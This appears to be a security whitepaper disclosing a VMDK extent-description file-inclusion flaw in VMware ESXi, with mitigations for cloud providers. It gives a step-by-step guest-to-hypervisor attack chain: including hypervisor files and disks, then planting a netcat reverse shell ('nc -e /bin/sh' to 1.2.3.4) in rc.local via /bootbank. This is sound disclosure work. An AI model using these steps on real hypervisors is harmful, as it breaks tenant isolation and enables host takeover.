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WHY VIRTUAL FILE FORMATS?
Virtualization technologies have become a fundamental part of almost any IT environment. They are used to consolidate server systems with low utilization, simplify administrative processes, and build the base for Cloud Computing environments. While the two main entities of virtual environments are the hypervisor and a number of guests (also called [virtual] workloads, guest systems, virtual machines, or instances), there are also a number of other components that already have been analyzed as for their security posture (such as virtual networks or management interfaces) or have not gotten any attention yet -such as virtual file formats.
Virtual file formats are described in detail in sections 4 and 5 and their main purpose is to describe guest systems.
Hence they can be found in any kind of virtualized environment. This intrinsic ubiquity makes them an interesting target for vulnerability research and we will illustrate how traditional virtualization concepts directly transferred to (multi tenant) cloud environments can be used to develop new attack vectors.
The following whitepaper analyzes security aspects of virtualization file formats and lays out how basic Cloud computing concepts need to be taken into account when approaching security in Cloud environments. The found vulnerabilities are used to illustrate new attack vectors whose relevance significantly increases in multi-tenant Cloud environments compared to traditional (single-tenant, virtual) computing architectures.
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Tel. Even though the definition covers most aspects of current Cloud computing offerings, four attributes are of particular relevance for the remainder of this paper:  Public deployment model: A public Cloud infrastructure is operated by one or more Cloud service providers to serve multiple customers (in case of major Cloud service providers, arbitrary customers). For the description of attack paths, only public Cloud environments will be taken into account. Hence for the remainder of this document, Cloud will be used as a synonym for public Cloud.
 Infrastructure-as-a-Service (IaaS) model: This service model provides a basic infrastructure, such as plain computing resources in form of a system containing just a plain operating system (so-called instances) to the customer.
 Resource pooling: As Cloud service providers strive to serve multiple customers in a resource-efficient way, the pooling of resources usually results in an abstraction layer which allows the operation of multiple customer systems on the same physical system. For all major Cloud service providers, this is achieved by the use of virtualization technologies and thus results in a so-called multi-tenancy environment. The existence of other tenants on the same hypervisor is relevant for the description of the impact of the discovered vulnerabilities.
 On-demand self service: Cloud services typically allow their customers to configure the used system, the related environment, and additional components by using web-based management interfaces and APIs. This also includes the upload of service relevant files, such as virtual disk images.
For the remainder of this paper, Cloud will refer to a public multi-tenant IaaS environment offering the possibility to deploy custom virtual machines. Taking the characteristics explained above, multi-tenancy in particular, and performed risk assessments [CaHo09] into account, the compromise of hypervisors which allow pooling of resources or, in a more general way, the failure to isolate resources of the hypervisor is one of the most relevant risks in Cloud computing environments. Figure 2 shows different input vectors of a virtualization hypervisor in a public Cloud environment which can be used as attack vectors. In order to analyze virtual machine deployment processes for hypervisors in Cloud environments, the overall deployment process has to be broken down into different steps. These single steps allow the more detailed security analysis of the deployment process, illustrate how virtual file formats are used, and allow assumptions for future exploiting phases. Figure 3 gives an over-view of a typical cloud deployment process:
1) For our research, it must be possible to deploy a custom virtual machine at the Cloud service provider. This includes the possibility to upload this virtual machine in any way (e.g. FTP or web interface).
2) Once the virtual machine is stored at the Cloud service provider, it must be copied or mounted to the hypervisor, usually by exporting it on a network share and mounting this share on the hypervisor.
3) The virtual machine must be started, usually by calling an API the hypervisor is offering (e.g. a web service or the proprietary VMware binary protocol). as the number of CPUs, the amount of main memory, or connected devices, but also hypervisor-related information like virtual hardware versions. Table 1 provides an overview of the different major file formats including a list of hypervisors supporting these formats.
 Virtual disk files: The virtual disk files contain all information which is related to the virtual hard drive, which includes both meta information like size, the used file system, and the specific file format as well as the actual raw device data. 
Virtual Disk Modes
There are several createTypes for virtual disks:
 full device/partition, referring to a physical disk/partition  single file, storing all raw data in a single file  multiple files, distributing the raw data across multiple files
In case of any file based virtual disk, there is the option of flat or thin provisioning disk files. Thin provisioned disks only consume as much space as needed on the hypervisors storage and grow with increasing use. In contrast, flat files are completely generated at the creation and populated with zeros.
Extent Description
The VMDK specification allows to split virtual disks into multiple files (as for example the widely used 2GB split option [VMwa] . In this case, the extent description specifies the size, type, and attributes of the single files:
# Extent description RW 33554432 VMFS "machine-flat-01.vmdk" RW 27522782 VMFS "machine-flat-02.vmdk"
The hypervisor takes care of reassembling the virtual disk at runtime and passes it through to the virtual machine:
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File Inclusion
As the VMDK descriptor file is plain text and the disk extent functionality is responsible for the inclusion of virtual disk parts, the corresponding properties are ideal starting points for the analysis of the VMDK file format.
Having file inclusion and path traversal vulnerabilities in mind, the first is to include a well-known file in the file system:
# Extent description RW 33554432 VMFS "machine-flat.vmdk" RW 0 VMFS "/well/known/file"
As all recent VMware ESX(i) server versions allow the login using SSH, it is possible to explore the hypervisor file system. The following screenshot shows a sample listing of the ESXi5 hypervisor root directory: In evaluating potential inclusion targets, it is relevant that the ESXi 5 platform stores log files in /scratch/log/ where /scratch is a symlink to /vmfs/volumes/$long_devicename and uses a logrotate system:
Figure 6: ESXi5 Log Files
The logrotate instance also compresses archived log files using the gzip algorithm which produces binary files. The following VMDK file will be used to attempt the inclusion of a compressed log file:
# Extent description RW 33554432 VMFS "machine-flat.vmdk" RW 0 VMFS "/scratch/log/hostd.9.gz"
The extent size of 0 is a very handy option of the VMDK processing engine: The actual size of the file is determined accurately at runtime by the hypervisor and dynamically updated in the deployed VMDK file.
In this case, the virtual machine starts without error messages and the hard disk size within the virtual machine did slightly increase: Knowing the size of the actual hard drive, it is possible to create a loopback device using the correct offset to skip the actual virtual disk content and directly access the contents specified by the second extent description:
Once this device is created, it is possible to extract the included log file /dev/loop0 e.g. using zcat: 
Device Inclusion
A logical next step of exploiting the Virtual Machine DisK is the inclusion of physical hard disks of the hypervisor. On the ESX platform, the corresponding Unix device files are mapped to /dev/disks/ on the hypervisor as Figure 11 shows.
Figure 11: ESXi5 Device Files
Including such a device file as explained above, it is possible to access physical hard drives of the hypervisor from within a guest system as well. Knowing the name of the target physical hard drive, such as /dev/disks/naa.600508b1001ca97740cc02561658c136:2, the attacking virtual machine is able to include the physical hard drive, containing for example the log files of the hypervisor, from within the virtual machine: At this point, it is possible to access the hypervisor hard drive within a virtual guest! However it is necessary to know the long (and actually random, as it is based on the device id) and not-guessable device name.
Compromising Cloud Service Providers
The previous sections describe the basic possibility to access hypervisor files and hard drives from within a guest system. However this access is limited to special file types and files with known file names. In order to successfully access a hypervisor file from within a guest system, the following requirements have to be fulfilled:
1) The file to be included must not be locked on a low system access level: As soon as the hypervisor/another virtual machine/any other entity and the virtual machine try to access a file/device at the same time, locking errors occur.
2) The file name of the file to be included must be known.
As the requirement to know the file name is a highly restricting factor when including hard drives (as they have random, non-guessable names), the following process allows the enumeration of all physical hard drives of the hypervisor: 2) Extract state.gz within the guest system.
3) Gather device names from /etc/vmware/esx.config from within the extracted state.tgz.
This configuration file contains all device names. Using this information, it is possible to include any file on the hypervisor without additional, internal knowledge about the particular hypervisor.
This behavior allows to carry out the following attack vector against an ESXi based hypervisor:
1) Are the following requirements given?
a) The deployment of uploaded, custom VMDK files is possible.
b) The hypervisor is ESXi based.
c) No additional sanitization/input validation of the VMDK file/extent description is performed.
2) Deploy guest system using a VMDK file that includes /bootbank/state.tgz.
3) Enumerate hypervisor disk files by accessing /etc/vmware/esx.config from within the included state.tgz file.
4) Deploy another guest system using a VMDK file that includes a physical hypervisor hard drive.
5) Access the included hypervisor hard drive from within a guest system without internal knowledge about the hypervisor instance.
Write Access
Once the hard drive of hypervisor can be accessed from within an attacking virtual machine, it is possible to write files as well. However the requirement of exclusive access to the file restricts the access possibility to files which are not or very rarely accessed by the hypervisor. In order to completely compromise the hypervisor, the /bootbank partition is a perfect target: It holds the firmware and configuration which is deployed at boot time to a RAM disk which is then used as the root file system of the hypervisor. Hence the configuration files of for example /etc are archived every ten minutes to /bootbank/state.tgz. Exploiting this behavior, the following steps are necessary in order to deploy a backdoor on the hypervisor from within a virtual machine:
1) Create a directory etc, referred to as $TARGET_DIR 2) Copy a netcat binary compatible to the specific hypervisor to $TARGET_DIR, ensure it is executable.
3) Copy etc/rc.local from /bootbank/state.tgz to $TARGET_DIR 4) Append /etc/nc -e /bin/sh 1.2.3.4 4444 to $TARGET_DIR/rc.local.
5)
Create a VMware XML firewall file in $TARGET_DIR/vmware/firewall/, allow the desired network traffic.
6) Create a tar archive attk.tgz of $TARGET_DIR using vmtar.
7) Copy attk.tgz to /bootbank on the included hypervisor disk.
8) Add attk.tgz to /bootbank/boot.cfg.
9) Start listener on 1.2.3.4, wait for the next hypervisor reboot, and enjoy shell access to the hypervisor.
These steps allow the installation of a backdoor on the hypervisor without additional knowledge or access to the hypervisor. While the Denial-of-Service vulnerability is patched in the mean time, it is still possible to access hypervisor files from within a virtual machine on a fully patched ESXi hypervisor (as of February 2013). The complete patching of the vulnerability is difficult as the functionality to include multiple disk files is crucial for many virtual machine usage scenarios. However it must not be possible to access files on a hypervisor which are located outside of a configured datastore from within a virtual machine -yet there is no patch available for that yet.
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In the meantime, the following options for mitigation exist:
 Do not allow the upload of virtual machines -this might not be an option in a productive environment.
 Sanitize your user input: This shouldn't be a new or surprising recommendation, however you have to re-think trust boundaries and relationships in the new Cloud world. In the "old world", virtual machines have been trustworthy, as they have been created by your employees and were operated on your hypervisors -this changes in the Cloud, and so do attack vectors. The described vulnerability allows the access of hypervisor files and hard drives from within a guest system. It bypasses the isolation mechanisms that should prevent guest systems from both accessing the hypervisor and -using the inclusion of the hypervisor hard drive -other guest systems. As there exist no access control mechanisms that regulate which virtual machines are allowed to include which virtual disk files or, even worse, which files at all, this can be considered a severe design flaw. The impact of this design flaw increases significantly in a multi-tenant Cloud environment, where the different guest systems do not originate from trustworthy sources. Regarding such environments, the missing access control mechanisms illustrates the broken trust model of the ESXi hypervisor and how traditional trust and security models must be re-designed and analyzed as for their adequacy for Cloud environments. 

